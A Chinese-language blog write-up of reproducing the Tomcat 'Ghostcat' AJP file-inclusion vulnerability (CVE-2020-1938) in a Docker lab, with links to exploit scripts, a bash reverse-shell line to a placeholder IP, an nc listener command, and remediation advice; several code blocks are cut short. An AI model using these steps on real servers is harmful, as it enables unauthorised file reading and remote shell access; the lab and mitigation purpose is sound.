Tomcat幽灵猫漏洞复现
Tomcat-CVE-2020-1938复现
[TOC]
漏洞概述
Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全局管理和Tomcat阀等。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。
攻击者通过Ajp协议端口利用该漏洞进行文件读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。
漏洞影响版本
Tomcat 6.* |
复现环境
本次漏洞复现采用Docker
Tomcat版本8.5.32
- 下载镜像
docker search tomcat-8.5.32 |
- 启动镜像
``
docker images |
漏洞利用
相关漏洞利用脚本
https://github.com/xindongzhuaizhuai/CVE-2020-1938 |
文件读取
文件包含RCE
利用文件包含漏洞实现RCE,攻击需要满足一定的条件,即需要将payload文件上传到tomcat目录下,然后利用文件包含激活payload。这里以反弹shell为例
bash -i >& /dev/tcp/反弹ip/反弹端口 0>&1 |
为了能正常执行需要对命令进行编码并组装成bash,推荐在线bash payload生成。
bash payload
最终的payload文件test.txt如下:
<% |
开启监听
使用脚本
nc -lvvp 8888 |
加固修复
- Apache官方已发布9.0.31、8.5.51及7.0.100版本针对此漏洞进行修复,Apache Tomcat 6 已经停止维护,请升级到最新受支持的 Tomcat 版本以免遭受漏洞影响:
https://tomcat.apache.org/download-70.cgi |
- 使用AJP协议的临时处置方法:为AJP Connector配置secret来设置 AJP 协议的认证凭证,且注意口令强度
- 未使用AJP协议的临时处置方法:禁用AJP协议端口,在conf/server.xml配置文件中注释,并重启Tomcat服务
参考链接
https://mp.weixin.qq.com/s/8Wueh4lkKBtfNisjxOSoWAhttps://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 夜莺!